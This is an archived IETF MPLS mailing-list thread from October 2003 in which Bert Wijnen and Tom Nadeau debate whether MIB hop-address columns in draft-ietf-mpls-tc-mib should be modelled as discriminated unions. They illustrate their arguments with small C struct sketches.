	by ihemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h91Eo0t08996
	for <mpls@UU.NET>; Wed, 1 Oct 2003 09:50:00 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <TFQWQS4Y>; Wed, 1 Oct 2003 16:49:57 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C4@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "'tnadeau@cisco.com'" <tnadeau@cisco.com>,
        "'Mpls (E-mail)'"
	 <mpls@UU.NET>
Cc: arunv@force10networks.com, hans@ipunplugged.com, jcucchiara@mindspring.com,
        cheenu@alumni.princeton.edu,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>, swallow@cisco.com,
        loa@pi.se, mrm@riverstone.net, zinin@psg.com, adrian@olddog.co.uk
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 16:49:57 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

> >Even if you did want it to be identifyable by 2 or 3 address types,
> >then I would create multiple "discriminated unions" by 
> >having multiple pairs of TeHopAddressType/TeHopAddress columns.
> 
> 	We could. OTOH, the text and objects that are 
> in the MIB now are described correctly, compile cleanly,
> and achieve the same thing, so I would rather leave
> things as they are than skin the cat yet another way
> if it is okay with you. 8)
> 
Sure... in C-code, you can do

  typedef struct und_union teHopAddress {
      int                 type;    /* enums for ip, as, unnum, lspid */
      unsigned char[256]  address; /* format depends on type */
  } TeHopAddress;

and then later one could do

  struct someTableEntry {
    /* index stuff  */
    TeHopAddres      address;
    unsigned char[4] as;     /* AS number if address.type is set to 'as' */
    unsigned char[4] unnum;  /* ifnumber if address.type is set to 'as' */
    unsigned char[6] lspId;  /* lspid if address.type is set to 'as' */
  }

Does that sound/look like good programming?
Well, I think not... but I have to admit that it was a few years
ago that I last wrote C-code  :-((

Bert
> 	--Tom


From owner-mpls@UU.NET  Wed Oct  1 11:25:15 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18713
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 11:25:14 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpint10339
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 15:25:16 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpint10192;
	Wed, 1 Oct 2003 15:25:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpins24645
	for mpls-outgoing; Wed, 1 Oct 2003 15:06:51 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpins24600
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:06:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpins10542
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:05:34 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpins26637
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:05:34 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpins26626
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:05:33 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h91F5T5g005468
	for <mpls@uu.net>; Wed, 1 Oct 2003 11:05:29 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU77818;
	Wed, 1 Oct 2003 11:05:28 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h91F5S823534 for mpls@uu.net; Wed, 1 Oct 2003 11:05:28 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpinr05100
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 14:58:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpinr14399
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:57:25 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinr11974
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:57:25 GMT
Received: from sj-iport-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpinr11916
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:57:23 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h91EvD5k003046;
	Wed, 1 Oct 2003 10:57:17 -0400 (EDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU76776;
	Wed, 1 Oct 2003 10:57:12 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Wijnen, Bert \(Bert\)'" <bwijnen@lucent.com>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Cc: <arunv@force10networks.com>, <hans@ipunplugged.com>,
        <jcucchiara@mindspring.com>, <cheenu@alumni.princeton.edu>,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>, <swallow@cisco.com>,
        <loa@pi.se>, <mrm@riverstone.net>, <zinin@psg.com>,
        <adrian@olddog.co.uk>
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 10:57:12 -0400
Organization: Cisco Systems, inc.
Message-ID: <01c101c3882c$4bc50ed0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C4@nl0006exch001u.nl.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: Wijnen, Bert (Bert) [mailto:bwijnen@lucent.com] 
>Sent: Wednesday, October 01, 2003 10:50 AM
>To: 'tnadeau@cisco.com'; 'Mpls (E-mail)'
>Cc: arunv@force10networks.com; hans@ipunplugged.com; 
>jcucchiara@mindspring.com; cheenu@alumni.princeton.edu; 'Joan 
>Cucchiara x302'; 'Kireeti Kompella'; swallow@cisco.com; 
>loa@pi.se; mrm@riverstone.net; zinin@psg.com; adrian@olddog.co.uk
>Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
>
>
>> >Even if you did want it to be identifyable by 2 or 3 address types,
>> >then I would create multiple "discriminated unions" by 
>> >having multiple pairs of TeHopAddressType/TeHopAddress columns.
>> 
>> 	We could. OTOH, the text and objects that are 
>> in the MIB now are described correctly, compile cleanly,
>> and achieve the same thing, so I would rather leave
>> things as they are than skin the cat yet another way
>> if it is okay with you. 8)
>> 
>Sure... in C-code, you can do
>
>  typedef struct und_union teHopAddress {
>      int                 type;    /* enums for ip, as, unnum, lspid */
>      unsigned char[256]  address; /* format depends on type */
>  } TeHopAddress;
>
>and then later one could do
>
>  struct someTableEntry {
>    /* index stuff  */
>    TeHopAddres      address;
>    unsigned char[4] as;     /* AS number if address.type is 
>set to 'as' */
>    unsigned char[4] unnum;  /* ifnumber if address.type is 
>set to 'as' */
>    unsigned char[6] lspId;  /* lspid if address.type is set to 'as' */
>  }
>
>Does that sound/look like good programming?
>Well, I think not... but I have to admit that it was a few years
>ago that I last wrote C-code  :-((

	Whether it is great or not, I am not sure,
but the point is that there are cases where you need
more than one of those fields at the same time.
If that example hadn't been brought up, I agree
with you that a single union was okay. In fact, I
had originally been making this change when it
was pointed out that we shouldn't remove it
for the reasons I gave earlier.

	--Tom




From owner-mpls@UU.NET  Wed Oct  1 11:26:21 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18886
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 11:26:20 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpint14237
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 15:26:26 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpint14095;
	Wed, 1 Oct 2003 15:26:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpins24805
	for mpls-outgoing; Wed, 1 Oct 2003 15:07:51 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpins24771
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:07:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpins25238
	for <mpls@UU.NET>; Wed, 1 Oct 2003 15:04:46 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpins19476
	for <mpls@UU.NET>; Wed, 1 Oct 2003 15:04:45 GMT
Received: from hoemail2.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQpins19467
	for <mpls@UU.NET>; Wed, 1 Oct 2003 15:04:45 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by hoemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h91F4eo19006
	for <mpls@UU.NET>; Wed, 1 Oct 2003 10:04:41 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <TFQWQTAV>; Wed, 1 Oct 2003 17:04:38 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C8@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "'tnadeau@cisco.com'" <tnadeau@cisco.com>,
        "'Mpls (E-mail)'"
	 <mpls@UU.NET>
Cc: arunv@force10networks.com, hans@ipunplugged.com, jcucchiara@mindspring.com,
        cheenu@alumni.princeton.edu,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>, swallow@cisco.com,
        loa@pi.se, mrm@riverstone.net, zinin@psg.com, adrian@olddog.co.uk
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 17:03:48 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

> >Sure... in C-code, you can do
> >
> >  typedef struct und_union teHopAddress {
> >      int                 type;    /* enums for ip, as, unnum, lspid */
> >      unsigned char[256]  address; /* format depends on type */
> >  } TeHopAddress;
> >
> >and then later one could do
> >
> >  struct someTableEntry {
> >    /* index stuff  */
> >    TeHopAddres      address;
> >    unsigned char[4] as;     /* AS number if address.type is set to 'as' */
> >    unsigned char[4] unnum;  /* ifnumber if address.type is set to 'as' */
> >    unsigned char[6] lspId;  /* lspid if address.type is set to 'as' */
> >  }
> >
> >Does that sound/look like good programming?
> >Well, I think not... but I have to admit that it was a few years
> >ago that I last wrote C-code  :-((
> 
> 	Whether it is great or not, I am not sure,
> but the point is that there are cases where you need
> more than one of those fields at the same time.
> If that example hadn't been brought up, I agree
> with you that a single union was okay. In fact, I
> had originally been making this change when it
> was pointed out that we shouldn't remove it
> for the reasons I gave earlier.
> 
If you DO NEED more than one column, then you would do (in C code):

  struct someTableEntry {
   /* index stuff  */
   TeHopAddres      address;
   TeHopAddres      asAddress; 
   TeHopAddres      unnum;
   TeHopAddress     lspId;
  }

That is, they would all 4 be discriminated unions, and you would NOT
make the 2nd,3rd,4th addresses be discriminated by a subfield in
the address struct would you...??

Oh well... I have enough of this.

Bert
> 	--Tom
> 
> 


From owner-mpls@UU.NET  Wed Oct  1 11:35:07 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19614
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 11:35:07 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinu03846
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 15:35:12 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpinu03703;
	Wed, 1 Oct 2003 15:35:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpint26654
	for mpls-outgoing; Wed, 1 Oct 2003 15:16:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpint26639
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:16:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpins12657
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:07:09 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpins28830
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:07:08 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpins28816
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:07:08 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-3.cisco.com with ESMTP; 01 Oct 2003 08:12:20 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h91F735g005972
	for <mpls@uu.net>; Wed, 1 Oct 2003 11:07:04 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU78035;
	Wed, 1 Oct 2003 11:07:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h91F72M23867 for mpls@uu.net; Wed, 1 Oct 2003 11:07:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpins17424
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:03:49 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpins09265
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:03:01 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpins17428
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:03:00 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpins17409
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:03:00 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-3.cisco.com with ESMTP; 01 Oct 2003 08:08:11 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h91F2s01012286;
	Wed, 1 Oct 2003 11:02:55 -0400 (EDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU77545;
	Wed, 1 Oct 2003 11:02:53 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Wijnen, Bert \(Bert\)'" <bwijnen@lucent.com>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Cc: <arunv@force10networks.com>, <hans@ipunplugged.com>,
        <jcucchiara@mindspring.com>, <cheenu@alumni.princeton.edu>,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>, <swallow@cisco.com>,
        <loa@pi.se>, <mrm@riverstone.net>, <zinin@psg.com>,
        <adrian@olddog.co.uk>
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 11:02:53 -0400
Organization: Cisco Systems, inc.
Message-ID: <01c701c3882d$16f6ba40$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C5@nl0006exch001u.nl.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: Wijnen, Bert (Bert) [mailto:bwijnen@lucent.com] 
>Sent: Wednesday, October 01, 2003 10:52 AM
>To: 'tnadeau@cisco.com'; 'Mpls (E-mail)'
>Cc: arunv@force10networks.com; hans@ipunplugged.com; 
>jcucchiara@mindspring.com; cheenu@alumni.princeton.edu; 'Joan 
>Cucchiara x302'; 'Kireeti Kompella'; swallow@cisco.com; 
>loa@pi.se; mrm@riverstone.net; zinin@psg.com; adrian@olddog.co.uk
>Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
>
>
>W.r.t.
>> >And if you feel that two columns are needed, then I would 
>ask, why not
>> >3 columns or maybe 4 columns. If you claim that one entry needs to
>> >identify the next TeHop with both an IP address AND a AS number,
>> >would one never want to be able to identify it by 
>> >IP address (maybe an IPv4 AND and IPv6 address?), ASnumber, 
>> >unnumbered, lspid ??? In other words, why do you have an arbitrary
>> >set there.
>> 
>In fact, I see that you do have 3 extra columns in addition to
>the TeHopAddress itself. 

	Are you referring to?

      mplsTunnelHopIpPrefixLen        InetAddressPrefixLength,
      mplsTunnelHopAsNumber           TeHopAddressAS,
      mplsTunnelHopAddrUnnum          TeHopAddressUnnum,

	These let you discriminate that hop based 
these fields together or one at a time. You
cannot do that if you put them together into a
single union.

	--Tom



From owner-mpls@UU.NET  Wed Oct  1 12:04:57 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21052
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 12:04:56 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinw16594
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 16:04:57 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpinw16317;
	Wed, 1 Oct 2003 16:04:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpinv00104
	for mpls-outgoing; Wed, 1 Oct 2003 15:46:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpinv00097
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:46:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpinu23699
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:41:52 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinu04472
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:41:52 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpinu04433
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:41:50 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h91Ffj01021973
	for <mpls@uu.net>; Wed, 1 Oct 2003 11:41:46 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU83005;
	Wed, 1 Oct 2003 11:41:45 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h91Ffjo29614 for mpls@uu.net; Wed, 1 Oct 2003 11:41:45 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpinu28364
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:31:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpint00401
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:28:44 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpint13807
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:28:44 GMT
Received: from sj-iport-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpint13803
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:28:43 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 01 Oct 2003 08:28:28 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h91FScXg027362;
	Wed, 1 Oct 2003 08:28:39 -0700 (PDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU81108;
	Wed, 1 Oct 2003 11:28:37 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Wijnen, Bert \(Bert\)'" <bwijnen@lucent.com>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Cc: <arunv@force10networks.com>, <hans@ipunplugged.com>,
        <jcucchiara@mindspring.com>, <cheenu@alumni.princeton.edu>,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>, <swallow@cisco.com>,
        <loa@pi.se>, <mrm@riverstone.net>, <zinin@psg.com>,
        <adrian@olddog.co.uk>
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 11:28:37 -0400
Organization: Cisco Systems, inc.
Message-ID: <01cd01c38830$af836ee0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C8@nl0006exch001u.nl.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: Wijnen, Bert (Bert) [mailto:bwijnen@lucent.com] 
>Sent: Wednesday, October 01, 2003 11:04 AM
>To: 'tnadeau@cisco.com'; 'Mpls (E-mail)'
>Cc: arunv@force10networks.com; hans@ipunplugged.com; 
>jcucchiara@mindspring.com; cheenu@alumni.princeton.edu; 'Joan 
>Cucchiara x302'; 'Kireeti Kompella'; swallow@cisco.com; 
>loa@pi.se; mrm@riverstone.net; zinin@psg.com; adrian@olddog.co.uk
>Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
>
>
>> >Sure... in C-code, you can do
>> >
>> >  typedef struct und_union teHopAddress {
>> >      int                 type;    /* enums for ip, as, 
>unnum, lspid */
>> >      unsigned char[256]  address; /* format depends on type */
>> >  } TeHopAddress;
>> >
>> >and then later one could do
>> >
>> >  struct someTableEntry {
>> >    /* index stuff  */
>> >    TeHopAddres      address;
>> >    unsigned char[4] as;     /* AS number if address.type 
>is set to 'as' */
>> >    unsigned char[4] unnum;  /* ifnumber if address.type is 
>set to 'as' */
>> >    unsigned char[6] lspId;  /* lspid if address.type is 
>set to 'as' */
>> >  }
>> >
>> >Does that sound/look like good programming?
>> >Well, I think not... but I have to admit that it was a few years
>> >ago that I last wrote C-code  :-((
>> 
>> 	Whether it is great or not, I am not sure,
>> but the point is that there are cases where you need
>> more than one of those fields at the same time.
>> If that example hadn't been brought up, I agree
>> with you that a single union was okay. In fact, I
>> had originally been making this change when it
>> was pointed out that we shouldn't remove it
>> for the reasons I gave earlier.
>> 
>If you DO NEED more than one column, then you would do (in C code):
>
>  struct someTableEntry {
>   /* index stuff  */
>   TeHopAddres      address;
>   TeHopAddres      asAddress; 
>   TeHopAddres      unnum;
>   TeHopAddress     lspId;
>  }
>
>That is, they would all 4 be discriminated unions, and you would NOT
>make the 2nd,3rd,4th addresses be discriminated by a subfield in
>the address struct would you...??

	We have a TeHopAddressType defined already.
So would this only apply to the address field? 
This tells you how to interpret the field, no?
In the case of the address it could be Ipv4 or 
Ipv6. So you would actually need:

   TeHopAddressType  addressType
   TeHopAddress      address;
   TeHopAddress      asAddress; 
   TeHopAddress      unnum;
   TeHopAddress      lspId;

	instead of:

  mplsTunnelHopAddrType           TeHopAddressType,
  mplsTunnelHopIpAddr             TeHopAddress,
  mplsTunnelHopAsNumber           TeHopAddressAS,
  mplsTunnelHopAddrUnnum          TeHopAddressUnnum,
  mplsTunnelHopLspId              MplsLSPID,

	Also, the descriptions of the last three 
(asAddress, addressUnnum and lspId) would
need to be changed so that the interpretation
of those would be a MUST on the subtype of
TeHopAddress. Not sure off-hand where else these
things might be referenced from. These changes 
will need to be made in three tables too (there are 
3 hop tables).  Seems like a lot of churn and potential 
for error in exchange for little return IMHO,
which is why I pushed back.

>Oh well... I have enough of this.

	You can say that again. *)

	--Tom




From owner-mpls@UU.NET  Wed Oct  1 12:07:08 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
